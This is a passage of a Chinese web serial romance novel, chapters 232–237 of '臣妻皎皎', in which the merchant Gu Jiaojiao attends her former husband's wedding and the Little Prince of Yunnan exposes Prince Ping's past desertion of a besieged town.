顾皎皎扯了扯嘴角,一时分不清他是真心还是实意。 “听闻云南王回京,小云南王又入宫伴驾,我既接了代你管铺子之事,自是要尽心竭力的。” 她回答的得体,却引得沈云祉挑了挑眉毛。 “只是这样?” “当然,受人之托,忠人之事,何况小云南王出手阔绰,给民女的报酬不菲,我怎敢糊弄?” 看着她无比真诚的眼眸,沈云祉的眼底有一抹失落的光芒闪过。 “也罢,无论如何,都算本王欠你一个人情。” 沈云祉打量着她,又继续说了下去。 “说起来,这安阳候府也是人人喊打了,孙协兆如今还敢这般放肆,自然倚仗着平王,或者,本王也可以让他失了这份倚仗。” 原本只是闲聊,但片刻间,他似是就可以夺人性命一般,说到底,他还是想为顾皎皎出口气。 只是,顾皎皎却不这样想。 “本就是无关之人,若是花太多时间精力,反倒显得我们小气,无福之人,让他们自生自灭便也罢了。” 顾皎皎莞尔一笑,每一句都是沈云祉爱听的。 沈云祉大笑出声,连口称赞着顾皎皎,随之马车缓缓停了下来。 二人一前一后下了马车,又一同步入了第一楼,这一幕也被不少人看到。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十二章 只是撒气 第一楼。 沈云祉所在的房间,几乎是他专用的了,第一楼的伙计上了茶,也向顾皎皎汇报,那些点心已经在做着了。 “倒是奇了,你竟没问本王宫中情况如何。” 沈云祉看着顾皎皎忙碌,待她坐下了时,才意味深长的开口。 “小云南王说笑了,我一介商户之女,做些生意,赚些银钱,怎敢探听宫中之事?” 说实话,她也并不好奇,皇宫也罢,朝堂也罢,若是有变,必然是有大运作的。 “是吗?本王可不知,顾姑娘竟然这般镇静,甚至不关切自己入不入得了皇商?” 提到皇商二字,顾皎皎还是忍不住双眼放光,但很快黯淡下去。 “想来,皇商之事短时间内应该是拿不下来了。” “嗯?说来听听。” 沈云祉饶有兴趣的打量着顾皎皎,一只手拄着头,半倚在椅子上,俊朗的脸庞上挂着若有若无的笑。 顾皎皎知道他是故意的,心底暗暗沉了一口气,才缓缓开口。 “近来皇上圣体欠安,听说连早朝都不上了,云南王回京后,便未离开皇宫,甚至连小云南王你也在宫中被拘了几日,想来,宫中如今也顾不上皇商之事了吧?” 她并未明说,可二人彼此心里都清楚。 沈云祉却并不打算放过她。 “皇室变动,早就在预料之内,不如你来猜猜,皇上会属意于谁?” 他笑起来很好看,至少在顾皎皎见过的男子里,是最好看的,只是这样的笑里自然是藏着石危险的。 平王跋扈无能,便也只剩下云南王,可是顾皎皎虽然没有见过云南王,却也听过其功绩,作为边关守将,他自是无人能敌,可若是做帝王…… 这些,都是顾皎皎不敢说,也不能说的。 “小云南王这样问,怕不是嫌民女活的太长了?” 顾皎皎扬了扬嘴角,半开着玩笑,也回避了这个话题。 也是难怪,她一小小女子,高谈阔论朝政之事,若是有心人发现,便是抄家灭族之罪了。 “罢了,本王今日前来,也是带来了一个好消息。” 平王妃训斥了徐青青,还做出了处罚,甚至还将自己的两个嬷嬷留在了徐青青那里。 徐青青如今日日都要抄书,还时不时将抄好诗词佛经送给平王妃过目。 徐青青到底是心高气傲之人,因着自己有着平王的血脉,不堪忍受平王妃这样的侮辱,便偷偷出门,当街拦了平王的马车。 平王气愤不已,只得将她带动偏僻地,听她好一阵哭诉,但听来听去都是徐青青对平王妃的怨气,还有她自己所受的折辱。 若是以往,平王或许还会宽慰她几句,只是如今听着,只会觉得她不知好歹。 平王训斥徐青青不安分,更是明目张胆的护着平王妃,更说平王妃所做的都是为了徐青青好,如若她还是不服管教,那就不要想还有来日。 沈云祉的探子还报,平王生的很大的气,少有的对徐青青责骂,甚至还提到了孙协兆,最后那徐青青还是被平王的手下送回了那院子。 阳光洒进这间雅间,相比外面的寒冷,这屋子倒是极为温暖。 顾皎皎认真的听着,但听来听去都是一些‘闲事’,至于于沈云祉而言是闲事。 “徐青青还命自己的侍女去找过孙协兆,只是这侍女被平王妃的人给拦了回去,还赏了一顿板子,现在还不能下地。” 沈云祉眼中的笑意更浓,从始至终都密切关注着顾皎皎神情的变化。 顾皎皎歪了歪头,迎上沈云祉的目光。 “小云南王人在宫中,却可以将这种小事查的一清二楚,会不会太清闲了些?” 她也是由衷的感叹。 沈云祉是个心思深沉之人,惯会摆弄人心,权力之争,他尚且可以费些精力与时间,可对于这种微末小事,他向来可都是事不关己,高高挂起的。 “如今顾姑娘也变得牙尖嘴厉了,本王也确实是闲得很,何况涉及到平王,哪怕只是闲事,本王也要关注一下。” 他低垂下眼眸,侧脸如雕刻出来的一般,轮廓清晰,让人移不开目光。 “那也多谢小云南王告知我此事,确实是一个好消息。” 想到刚刚孙协兆的嘴脸,顾皎皎听着这些还是心情放松一些,但迟疑了一下后,又不禁有些疑惑。 “平王想要后嗣,徐青青便是他想要之人,虽说徐青青没有按照他的计划走,但到底也是有了圣旨的,平王为何要如此对她?” 徐青青从来都不相信平王妃所行之事,平王能不知晓,打着教导的名义,实则是欺负,平王应该也看得明白,但这一次,他却站到平王妃那头。 顾皎皎疑虑,沈云祉却因为她的问题,再次显露欣赏之色。 她头脑清晰,思虑周全,只听着这些,并未被表面所迷惑,而是想到了问题的关键,便足以胜过许多人。 “平王憋了一肚子火,当初不惜与平王妃闹僵,他也执意将这个女儿接回,自是想着让她替自己铺路的,可正是因为这个女儿让他屡次丢脸,步步被动,朝堂之上又极为不顺,便拿徐青青撒气了。” “只是撒气?” 顾皎皎惊呼出声。 她不觉得徐青青值得可怜,只是为人父母,怎会如此狠心? “没错,只是撒气,徐青青不是个安分的,平王对她,对她自己择的那个郎婿都不甚满意,甚至是厌恶至极,自不会有半分心疼。” 沈云祉的眼底闪过一抹冷光。 他不像顾皎皎这般震惊,毕竟,他身处皇室,什么阴险的手段早就见过了,这人之常情的事,他自然也不会意外。 顾皎皎微低下头,一时不知该说些什么。 正在此时,莺儿进来,汇报着说那些糕点都已经备好。 沈云祉也在此时站起身。 “日落之前得回宫,本王便不多久留了,大事未定之前,还望顾姑娘谨慎小心。” 他说了这些奇怪的话后便出门了。 顾皎皎在原地怔愣许久,才猛然明白他所说话的意思,顿时,后背又是一阵发凉。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十三章 耍什么花招 几日后,平王府与安阳候府的喜事到来。 平王一直未认徐青青,这位私生女有些郡主的名头,却无实际的身份,他们的婚宴也并未设了平王府,而是在平王的一处别院。 平王身份在此,自然会请许多宾客,有的是朝中重臣,有的则是平王的门客,大喜的日子,又有诸多夫人,小姐,自然是无比热闹。 孙协兆这边不想让人瞧不起,也是请了亲戚故友,他自然也知道,这些人来参加喜宴,不是因为他,而是因为平王。 顾府。 顾皎皎坐在梳妆台前,看着镜中的自己,任由莺儿在她身后为她梳着发髻。 “姑娘,我们何必走这一趟呢,那孙三攀上了平王,到时尾巴都要翘到天上去了,奴婢觉得恶心。” 每每提到孙协兆,莺儿都似比顾皎皎更恨,更厌恶。 顾皎皎扬了扬嘴角,清澈的眸子里释放着笑意。 “我不是去参加喜宴的,而是去看热闹的,何况,孙协兆将请帖亲自递到我手上,我怎可不去?” 她斜瞟了一眼桌上红彤彤的喜贴,上面的字都金光闪闪,似是预示着和美一般。 “这个孙协兆也真是好本事,听王吉回来汇报,说是为了这场宴席,他当掉孙老夫人许多压箱底的首饰,还又在外借了好大一笔钱,也不知道这些徐青青是否知晓。” 莺儿满眼不屑,看了看镜中顾皎皎的发髻,倒是很满意自己的手艺。 “即使是知道,怕是徐青青也不在乎,只这场喜宴便可收不少银钱,又是赐婚,又是圣旨,他们还有一段时间的快活日子呢。” 顾皎皎不羡慕,也不嫉妒,只觉得世事无常,若论报应也只是早晚而已。 “他们倒也是天生一对,就此成婚也好,免得祸害他人。” 莺儿在首饰盒子里寻找着与之相相配的首饰,但挑来挑去都没有太满意的。 “姑娘,将小云南王送你的那支玉钗戴上吧?与你今日欲穿的绿色衣裙也很是相配。” 莺儿透过镜子询问着顾皎皎。 顾皎皎看了看自己的头饰,莺儿的手艺确实很好,一头乌黑的长发被轻挽起来,有一半垂至腰间,好看动人,头上已然插好一对白玉簪子,显得有些单调。 “就选那支好了,淡粉色,也不显眼,与衣衫也是配的。” 顾皎皎缓缓开口,并未接下莺儿的提议。 莺儿抿了抿唇,想说什么,终究是没有开口。 准备妥当后,顾皎皎也让人封了一份贺礼,虽然那里的人不是她想见的,但礼数总要周至。 “姑娘,时辰不早了,再晚便不好了。” 莺儿提醒着,顾皎皎也在此时起身,前往平王府的别院。 顾皎皎想过这场面定是很热闹的,却终究还是低估了平王府的实力。 来往宾客众多,平王与平王妃招待着,忙的不亦乐乎,孙家的人也在其中,端着主人的款儿,笑脸相迎。 只看着那孙协兆站在门外,迎来送往的模样,但已让顾皎皎胃里一阵翻涌,可她也只能硬着了头皮走过去。 “第一楼掌柜送上贺礼,青玉手镯一对,白银百两。” 写礼之人大声宣读着,也让周围的人侧目。 来此之人大多都是官宦之家,对于这位顾掌柜也是有所耳闻,大家自是没想到,她身为前夫人,可以送上这般大礼。 “顾皎皎,今天是平王府与安阳候府大喜的日子,你最好别给我耍什么花招。” 孙协兆压低声音,只用他们二人可听到的声音提醒着,确切的说是威胁着。 顾皎皎却挑了挑眉毛,装出不解的模样。 “我来送贺礼,怎么就耍花招了,何况,就如今而言,这百两白银够你们候府生活一月的了吧?” 她的挑衅那般明显,自然是因为她知道,在此重要的日子,孙协兆只能隐忍。 “我们是候府,是世家,何曾看重过银钱?即使是你如今富有,也脱不你身上的铜臭味。” 孙协兆即使是咬着牙说这些话,却还是将笑挂在脸上,让别人觉得他是谦谦君子,心胸宽广。 “孙三公子莫要自欺欺人了,若不是这些铜臭味,安阳候府如今早就消失了。” 顾皎皎抬手扶了扶发髻,看向周围,才提高了一点声音,继续开口。 “那便恭贺孙公子与徐姑娘百年好合,早生贵子。” 语罢,她便向里面走去,都没有给孙协兆反应的机会。 平王和平王妃自然也是看到了顾皎皎,但二人身份使然,今日又遍布宾客,他们自是不会上前。 顾皎皎本就是来看热闹的,也不往人前凑,只带着莺儿找了一个相对安静的地方坐下。 本想着她只要等待着开席就可以了,却不想孙家人不知好歹,主动上前招惹。 “哟,这不是我那前弟媳吗?这种场合也过来,倒是不怕丢人现眼。” 说话的便是孙家的二儿媳,刘氏。 刘氏与大儿媳章氏缓步而来,本就有些臃肿的身材,还要刻意的摇两下,让人不忍直视。 顾皎皎懒得理会她们,将头转到一边,可那二位却是不依不饶。 “皎皎啊,何故不理人呢?母亲得知你到了,特意让我们来打个招呼,生怕怠慢了你呢。” 刘氏眼里都是得意,干脆坐到了顾皎皎的对面。 顾皎皎顺着刘氏的目光看过来,正对上不远处孙老夫人鄙夷的目光,看样子,这二位过来,是那老太婆授意的。 “二位夫人是主人家,本该好生招待客人,不必在我这里浪费时间。” 顾皎皎的声音都冷了几分。 “皎皎,你何必这么大的戒心,我们好歹同一屋檐下生活了两年,如今与平王府结亲,便也是造化,想必你也早就想开了。” 章氏是个有心机的,看似温和的言语,却是最恶毒的。 “是啊,虽然你是舍弃了候府,但也没办法,毕竟你跟这平王府的郡主相差太远,身份悬殊,你应该也是理解的。” 刘氏在一旁附和。 这二人一唱一喝,真真的展现了什么叫小人得志。 顾皎皎也不愿再忍着她们。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十四章 是我失言了 “所以呢?二位夫人有银两买脂粉了吗?” 顾皎皎装出一副认真的模样,白净的脸上几乎看不出任何妆容,却依旧美的动人心魄。 章氏与刘氏的脸色顿时难看了不少。 “顾皎皎,你不是有些银钱吗?我们可是候府,过了今日,平王府便是我们的亲眷,到时候就算你哭着求着都没用。” 刘氏向来是嘴上不饶人的,瞪着眼睛一副要吃人的模样。 “那我便祝二位夫人得偿所愿,不再为五斗米折腰。” 顾皎皎简短的话却充满讽刺,让眼前的二位不自觉的想起自己曾经为了银钱大闹第一楼的情景。 本就是不久前的事,怎会那般轻易忘掉? 章氏到底是沉稳一些,在刘氏准备大骂顾皎皎时,她立即将人拉住。 “来者即是客,皎皎如今也算是贵客,若有招待不周的地方,还望见谅。” “嫂嫂何以这般说?” 刘氏这个没脑子的,岂是轻易拦得住的,以往她都败于顾皎皎手里,如今好不容易有这样一个机会,她自是不会错过。 “她算是哪门子贵客,贱门贱户出来的,若不是我们候府收留于她,她何以有今日这般成就?不知感恩也就算了,还到处挑衅,不知廉耻。” 刘氏是丝毫不在意周围人投过来的异样目光,她甚至还有些得意。 “这位夫人看着眼熟,是否在哪里见过?” 一道男子的声音突然响起。 顾皎皎转头,看着杜玉荣从人群中走过来,他只是看了一眼顾皎皎,而后便将目光落到刘氏身上。 刘氏有些意外,立即满脸带笑的起身。 “杜大人安,我是安阳候府二夫人,原是在……” “哦,想起来了,在下曾去安阳候府赴宴,也看到了二位夫人,我记得当时还起了一些争执。” 杜玉荣没等刘氏将话说完,便装出一副突然想起的模样。 顾皎皎看着他,不禁偷笑,杜玉荣本是最正直不过的人,不善于伪装,也就刘氏那般愚蠢看不出来,还以为杜玉荣对她印象深刻。 “让大人见笑了,当日是这顾皎皎不懂礼数,扰乱了宴席,还望大人莫要见怪。” 刘氏说话的声音都温柔了不少,与她平日里判若两人。 “没错,在下也是记得顾姑娘说过,候府里的人每日花销不菲,连早饭都是燕窝鱼翅,这也难怪二位夫人会瞧不起顾姑娘,瞧不起我们这些人了。” 杜玉荣是出了名的君子,他说的话从未有过差错,此时,周围的人看向刘氏与章氏的眼睛都变了。 “不,不是的,我们……” “夫人不必多说,在下也是懂的,虽说这些年你们的花销都是顾姑娘的嫁妆,那也无妨,日后虽然没有顾姑娘,不是还有郡主呢吗?” 刘氏与章氏的门第不高,就算是候府的儿媳,但因一无是处,与官中妇人也少有来往,现下被杜玉荣这样一说,所有人都露出鄙夷的眼神,甚至有的已经开始悄悄讨论起来。 大家说的无非也是安阳候府吃人不吐骨头,从上到下没有一个正经人。 只是,如今这里不只是安阳候府,还有个平王府,所有大家也不会说的太过。 刘氏与章氏闹了个没脸,只得灰溜溜的离开了,周围的人也渐渐散去。 顾皎皎这时才站起身,向杜玉荣行了个礼。 “多谢杜大人。” “不必客气,而且我也只是实话实说罢了。” 杜玉荣态度温和,再见到顾皎皎,他也难掩神色上的喜悦。 因着赵蕴苎的关系,顾皎皎对他生疏了不少,他之所以来今日这宴席,也只是为了见她而已。 不过…… “杜大人是一个人来的吗?平王府的喜宴,赵姑娘没有跟随?” 顾皎皎这一开口,便让杜玉荣显露尴尬之色,他知顾皎皎只是单纯的闲聊,所以内心的情绪,也只能压在心底。 “赵姑娘乃是首辅大人的孙女,不会出席。” 杜玉荣的话,让顾皎皎突然觉得自己问的问题有些蠢。 首辅大人,两朝元老,身份地位超然,之所以能得两位帝王信任,是因为他从不站队,他心高气傲,即使是平王也请不动他。 “抱歉,是我失言了。” 顾皎皎微微点头。 从至谢到致歉,她只当面前的人是一位大人,好似之前从未熟识一般。 “顾姑娘一定要与我生疏至此吗?” 杜玉荣终是忍不住问出了这句话。 顾皎皎眉头微皱,也没有想到,面前的男子会如此直接。 她犹豫了一下后,唇边袭上一抹苦笑。 “大人助我良多,我本该抱着一颗感激之心,以求日后可以回报大人,只是,大人知道,我只是一介小小商户之女,无权无势,无法与任何人抗衡。” 因着杜玉荣,赵蕴苎已经不只一次上门找麻烦,顾皎皎每一次都讨好般的应付着,却也不见有什么效果。 她不怪杜玉荣,也知他有为难之处,她能做的也只有躲开那些麻烦。 “我不曾与任何女子有关系,赵姑娘,也只是因为两家的关系,顾姑娘不要误会,还有……” “杜大人慎言。” 顾皎皎突然严肃起来,杜玉荣也突然意识到自己说错了话,但不等他说什么,顾皎皎便抢先一步开口了。 “杜大人的私事,民女无权过问,也请大人莫要再说这种话,给彼此招来不必要的麻烦,自然,大人的恩情我都记得,日后若有需要,民女定当全力以赴。” 顾皎皎低垂下眼眸,强压着自己狂跳的心脏,微微欠身后,带着莺儿走向别处。 杜玉荣是一时失言,可他们二人心里已然明了。 顾皎皎走出正厅,穿过人群走进了院子东侧的园子里。 见周围没人后,她才停下脚步,不停的拍打着自己的胸口,大口大口的喘着气。 莺儿轻抚着她的后背为她顺气,也忍不住低声开口。 “姑娘,那杜大人的意思是不是说……” “住口。” 顾皎皎毫不犹豫的制止莺儿继续说下去,而后又再次强调道。 “今日之事若是传出去,我死无葬身之地。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十五章 变不了凤凰 “奴婢是觉得杜大人挺好的,人品贵重,对姑娘也是真的好,他不像小云南王那般位高权重,想来日后……” “莺儿!” 顾皎皎的声音里透出几分严肃,看向莺儿的目光里也很是严厉。 “我之前就跟你说过,莫要拿此类事开玩笑,杜大人好不好与我无关,我也没有再嫁人的心思。” 她说的郑重,只是怕别人听到,压低了声音。 莺儿撇着嘴,不住的点头。 “我明白了,姑娘不曾心悦杜大人。” 顾皎皎被这丫头噎的半天说不出来话,眼看着时辰差不多了,她们也得先离开这里,去观礼。 徐青青一身大红喜袍,珠光琉璃的团扇遮面,只头上的发饰看着便是很重,身上的配饰也是极为贵重。 于普通百姓家而言,新娘子这样的妆扮已经是极为难得了。 透过人群看着眼前的一幕,顾皎皎不禁想到自己成婚之时。 那时,安阳候府是高门,而她只是商户之女,低微如蝼蚁,虽然有无数家产傍身,可孙家还是觉得以她这样的身份,不配得到隆重的婚礼。 别说宾客满坐,就大操大办都不曾有,顾皎皎当年所穿的那件喜服,还是很多年前母亲缝制的。 两相对比之下,顾皎皎的唇边不禁扯过一禁苦笑。 她并不难过,也不羡慕,只是觉得自己之前的两年,太过悲凉。 一拜天地,夫妻和顺。 二拜高堂,早生贵子。 夫妻对拜,举案齐眉不相疑。 这一声声的高喊下,算是礼成。 坐在上面的孙老夫人乐开了花,那灿烂的笑都扯平了她脸上的褶皱,但是平王和平王妃却只是端坐在那里,脸上淡淡的笑也只是礼貌而已。 此时,平王妃摆了摆手,身旁的冬儿端着一个拖盘走了过来,上面摆放着一支玉镯。 平王妃拿起玉镯放在了徐青青的手上,即使徐青青看不见,握着玉镯的手也顿了顿。 “这是何意?按规矩,这手镯该是从母亲的手上摘下,而后亲自给女儿戴上的,这怎么……” “这还看不出来吗?这姑娘虽然有郡主的名头,但平王府根本不认她。” “是啊,平王妃如此,定是平王默认的。” “那孙家好歹也是候府,这相关的礼仪都不懂,还能笑的像花儿似的。” …… 在场的人大多都是官家人,京城里几百年留下的规矩,自是熟读于心,无论刚刚有多热闹,多喜庆,只这一幕,大家就都看出了端倪。 顾皎皎将这些都听到了耳朵里,却也没什么反应。 “姑娘,你发现没有,那徐青青身上饰物,好像都不是很昂贵,至少不像是郡主该有的规格。” 莺儿小声的说道,更像是询问,她只觉得自己是少了见识,不识货。 顾皎皎只是扬了扬嘴角,没有说话。 她早就发现了,这场婚宴自徐青青出来的那一刻,便像是低了好几个档次,想来这也是平王妃的主意,平王没有反对,自然也是瞧不上这个女儿女婿。 在场的人都可以发现,唯独孙家人完全不自知的样子。 礼成之时,便准备送入洞房,可就在这时,外面的人来报,说是圣旨到了。 这场婚事本就是赐婚,大婚当日,圣旨又到了,这令众人都猜测着皇上对平王是极为看重的。 不过,众人也没有发现,进来宣旨的人会是小云南王。 他又是一身月白色衣衫,长发束起,如雕刻一般的脸庞挂着若有若无的笑意,高挺的鼻梁,深邃的眸子,在看向平王的那一刻,便毫不掩饰的显露出笑意。 沈云祉没有说话,只是慵懒的抬了抬手中的圣旨,在场的人便全部下跪,包括平王。 这是第一次,平王在沈云祉面前半跪下来,哪怕他是微低着头,也可以看到他脸上的恨意。 “本王也懒得念,皇上的意思是平王府的郡主大婚,皇上不能亲临深感为憾,便赐下了这些赏赐,平王替郡主收下吧。” 沈云祉不似是来传旨的,更像是来看热闹的。 当众提到了郡主的名号,也是将那层窗户纸捅破,徐青青的过往,安阳候府的所做所为,这些都是让平王当众丢脸。 君恩不宜辞,平王不只要收下,还要谢恩。 “小云南王怎么这个时候才来?以往传旨的人都是宫里的公公,不曾想小云南王竟接下了这样的差事。” 平王接下圣旨起身,似是客套,却满是嘲讽。 沈云祉挑了挑眉毛。 “近来家父在宫中,本王便也只得陪着皇上,若不是来宣圣旨,自也是来不了的。” 他看了看自己的身后,没有宫中人,只有他的两个侍卫,双瑞和双剑,而后才特意提高了音量开口。 “至于宣旨的公公嘛,平王叔也知道,宫中大小事务繁杂,极为重要,像给您送赏赐这种小事,我一个闲人来做正好。” 三言两语间,二人之间已经出现了浓重的火药味,若不是满堂宾客,怕是会立即动手。 “难得小云南王大驾光临,里面请。” 孙协兆这个时候倒是机灵,立即上前,为显示自己,还又特意说了几句好话。 “原本也是要给小云南王送请贴的,只是送到驿站,却未见到您,幸而您今日来了,不然会显得我们极为失礼。” 飞上枝头,也变不了凤凰。 这是人群中的顾皎皎的第一感受。 孙协兆的傲慢那样明显,他曾也是沈云祉身边的人,但如今好似全忘了。 “孙公子客气了,今日是你大喜之日,本王也有贺礼送上。” 沈云祉抬了抬手,身后双瑞立即递上来一件披风。 只是这披风不是贵重的布料,亦不是新颖的款式,甚至还是一件旧物,衣角处的破损那般明显。 孙协兆脸色难看,又因为平王在身侧,他竟然破天荒的发出了质疑。 “小云南王虽然对我有误解,却也不至于在我大婚之日拿出这等肮脏之物来羞辱我,就算您不将我放在眼里,不也得看平王的面子吗?” 看着这孙协兆如今这么有出息,沈云祉不禁大笑出声,令在场的人都疑惑不解。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十六章 临阵脱逃 顾皎皎看着那件破旧的披风,便知其中有蹊跷,毕竟沈云祉从不打无准备的仗。 “肮脏?羞辱?孙公子,你知不知道你在说什么?” 沈云祉的语气里带着玩味,用余光瞟了一眼平王,看着这位王爷脸色铁青,他才继续说了下去。 “这件披风乃是平王所有,五年前的战场上,平王不慎遗失,找了许久,这件事很多人都不知道,你作为平王叔的女婿,竟毫不知情吗?” 这句反问,让孙协兆一时慌乱无言,现下,他认错不对,不认错也不对,最重要的是,平王投过来的目光已然透着怒气。 “是,平王乃是念旧之人,是我大意了。” 孙协兆想蒙混过关。 此时,人群中已然有人看不下去了。 “孙公子,那件披风乃是前贤妃娘娘亲手所做,平王才视若珍宝。” “前贤妃娘娘故去时,平王就是穿的这件披风,娘娘还称赞平王英武的。” 这才是这件披风的真正作用。 不过,平王此时的难堪不只是因为这个。 “够了。” 平王低吼出声,瞪着孙协兆。 “滚。” 他是平王,哪怕是众人面前,他也不需要给任何人留面子,包括孙协兆。 孙协兆夹着尾巴退后,未敢再说一句话。 “小云南王有心了,这件披风已经丢了五年,却不想能被小云南王找到。” 平王皮笑肉不笑,声音里透着一丝冰冷,眼神都有几分警惕。 “平安镇,本王的一位友人在平安镇收得这件披风,觉得像是宫中之物,便一直收藏至今,前不久打算卖掉的,正巧被本王看到。” 沈云祉轻叹了一口气,将目光投向孙协兆。 “都怪我不好,本想着在这大喜的日子送给孙公子,一个女婿半个儿,也可全了他的孝心,却不成想,孙公子常年与诗书美女为伴,并不了解这些闲事。” 沈云祉将这二人放在了炭火之上,此事过后,怕是孙协兆在平王那里更得不到好脸色。 这是一场明争暗斗,所有人都看在眼里,但也只是看着,毕竟这两位谁也得罪不起。 顾皎皎看的累了,乏了,也是觉得无趣,转头冲莺儿使了个眼色后,二人便从人群中突然离开了。 “姑娘,我看那平王可是没有收到亡母遗物的喜悦,倒像是很……嗯,像是……” “惊慌。” 顾皎皎突然丢出了这两个字。 莺儿瞬间瞪大眼睛,一脸喜悦。 “对对,就是惊慌,还是姑娘博学多才。” “少贫嘴。” 顾皎皎主仆二人已经离开了正厅,向府外走去。 “奴婢说的是真的,但确实想不能是为什么?按小王爷所说,平王找寻那件披风已经多年,如今得到了,为何不高兴?” 这些莺儿都可以看出来,顾皎皎自也是看得出来。 顾皎皎摇了摇头,她想不出其中原因,但总觉得沈云祉带着那件披风出现,肯定不只是为了羞辱孙协兆。 顾皎皎走出了平王府的别院。 天色渐暗,这别院里还有一场晚宴,顾皎皎也不想再费精力去应付那些人,便准备回去了。 “顾姑娘留步。” 沈云祉的声音突然从身后响起。 顾皎皎吓了一跳,连忙转身,看到那男子缓缓而来。 “小云南王这般早便出来了?不是还在宴席吗?” 她一边好奇的问着,一边向沈云祉行了个礼。 “这种宴席有什么好参与的,那茶点怕都不如第一楼的十中之一。” 沈云祉嘴角噙着笑,让人分辨不出他说的真话还是假话。 “听到小云南王这样说,民女真是不敢当,小王爷这是准备回宫了?” 顾皎皎自己也没有注意,不知从何时,她与沈云祉相处,多了几分随意,少了一些拘谨。 “不急,天色已暗,月光倒好,顾姑娘可愿陪小王走走?” 这里并不处于京城中心,偏一些,这个时间倒也安静一些。 顾皎皎此时也没什么事,稍有疲累,却也不好拒绝沈云祉。 “小王爷,请。” 她这是同意了。 他们二人肩并肩向前走着,手下们都跟在身后,有些距离。 “顾姑娘特意来参加这婚宴,难不成是旧情难舍?” 沈云祉明显这是拿她调侃。 顾皎皎转头看他一眼,轻扬起了嘴角。 “小云南王何故明知故问呢?自是来热闹的,只可惜啊,一般。” “嗯?难不成小王带给你的这场热闹还不够好看?” 沈云祉挑了挑眉毛,眉眼间显露出一丝得意。 顾皎皎低头思索了一下后,才再次看向他。 “小云南王向来心怀大略,又怎会为了一场热闹而有所行动,民女猜测,那披风还有别的故事吧?” 她的话音落下之时,沈云祉竟直接拍手表示称赞。 “今日在场之人,除了本王与平王,怕是也只有你能看出其中关键,虽为女子,不容小视啊。” “小王爷过奖了。” “你不问问是什么故事?” “经民女多年经验,知道的越少,死的越慢些。” 她这毫不犹豫的话语,倒是让沈云祉笑出声。 “你不想知道,本王偏说。” 他像个孩子一样耍起了无赖。 顾皎皎没有办法,只得听他讲故事。 那件披风原是平王心爱之物并不假,但在五年前,发生了一件事,那披风便成了平王的恶梦。 五年前的平安镇有外敌入侵,身为王爷,平王奉命带兵去守护。 平王少上战场,因着王爷的身份,冲锋陷阵之事自是也不需要他,但平安镇那次,敌人太过凶猛,只两日的时间便打到了城墙下。 平王慌了,害怕了,带着十几位亲信偷偷逃跑了,只留下了一众将士以及一城的百姓。 “作为将领,临阵脱逃,岂不是将所有的百姓与兵士都置于死地?” 顾皎皎忍不住惊呼出声,满眼的不敢置信。 沈云祉的眼底闪过一丝冷意,才沉声开口。 “没错,一夜之间,平安镇被破门,兵士,百姓,无一生还,死伤惨烈,平安镇丢失,后是三日后,皇室又派出众多精兵强将才收复回来,却为时已晚。” 只听着,便叫人揪心不已。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十七章 一个突破口 “平王虽是王爷,可做下此等事,为何还能安然无恙?” 顾皎皎不自觉的停下脚步,她本是就是普通百姓,图的便是一个天下太平,只想着那平安镇里的老弱妇孺,她便心疼不已。 沈云祉也随她站定,无奈的笑了笑。 “活下来的皆是他的亲信,其他人都已然死去,他回宫复命之时,也只是说用了最后一丝力气抵抗外敌,却终究没成,晕倒在死人堆里,等他醒来的时候,已经被贼人当成尸体丢入了乱葬岗。” 此事已经过去多年,京城权贵云集,自是不在乎那些百姓的死活,渐渐的便也没人再提起平安镇。 “那件披风,便是平王在逃跑时丢掉的,他今日之所以觉得难堪,是因为他害怕小云南王查到了他什么罪证。” 顾皎皎理清了这个案子。 沈云祉微微点头,继续向前走去。 “平安镇战况惨烈,而那伙叛军根本不足为惧,这些年本王一直在查找真相,也是前不久才发现城破与平王有关,只是多年过去了,哪里还有什么证据。” 沈云祉能做的,也只是像今日这般吓一吓平王。 “确实不易,当时的士兵和百姓都已不在人世,没有人证,战乱时节,也没有物证,怕是……” 顾皎皎说着时,突然停顿了一下,而后转头看向沈云祉。 “那叛军可还有活着的?” 此话一出,沈云祉的眼眸都动了动,薄唇微抿,半晌才惊喜开口。 “本王怎么没想到?顾皎皎,你着实聪慧,那些叛军当时被擒的有许多,根据情况有的判的斩刑,有的则被关押在各地,这许会是一个突破口。” 沈云祉少有的激动,眸子闪着晶亮的光芒,即使是在月色下也极为明亮。 顾皎皎本是脱口而出,被他这样在一称赞便有些不好意思,立即收回目光,不再看他。 “小王爷过奖了,我也只是随口一说,能帮上忙是最好。” 她感动之事并非是沈云祉毫不吝啬对她的称赞,而是时隔五年的案子,他依旧在暗中调查。 他之前并不知与平王有关,所以涉及不到权利之争,只是单纯的想为那些枉死的人讨回公道。 这份心思,不是他们这些高高在上的人,人人都有的。 “顾姑娘心思灵巧,只做掌柜倒是有些可惜了,如若日后有机会,可以做本王的军师。” 他的话将顾皎皎逗笑。 “小王爷真会开玩笑,这世间哪有女子为军师的?若真是如此,怕是小王爷也会被人笑话的。” 她说的是事实。 沈云祉只是意味深长的看她许久,未在说什么。 月光皎洁,将二人的影子拉的很长,风声渐响,吹动着他们衣摆,怎么看都是一幅娴静美好的画面。 可就在此时,他们身后的人却传来争吵声。 “你这是什么意思?你们小王爷可配公主,配郡主,攀扯我们姑娘作甚?” “我只是实话实说,小王爷要相貌有相貌,人才学有才学,家世身份无人能比,自然是要与最好的女娘匹配。” “呸,我们姑娘就是最好的女娘,还看不上你们小王爷呢?我们姑娘温柔聪慧,就是配丞相,配皇上都绰绰有余。” “你……” “你什么你?看你长得肥头大耳的,你们小王爷也不是什么好东西。” …… 吵架的二人是莺儿与双瑞,在这夜色里,小路上,他们的声音格外刺耳。 顾皎皎与沈云祉互视一眼,皆面露尴尬。 “莺儿。” “双瑞。” 二人几乎是齐声开口,才制止了那边的争吵。 莺儿气鼓鼓的走到顾皎皎身边,满脸都写着气愤,看向沈云祉时还狠狠的瞪了一眼。 “小王爷恕罪,是侍女无礼,我回去后必定严加管教,还望小王爷莫要放在心上。” 顾皎皎这身份,也只有道歉的份。 “顾姑娘言重了,是小王手下无礼。” “时候不早了,民女先行告退了。” 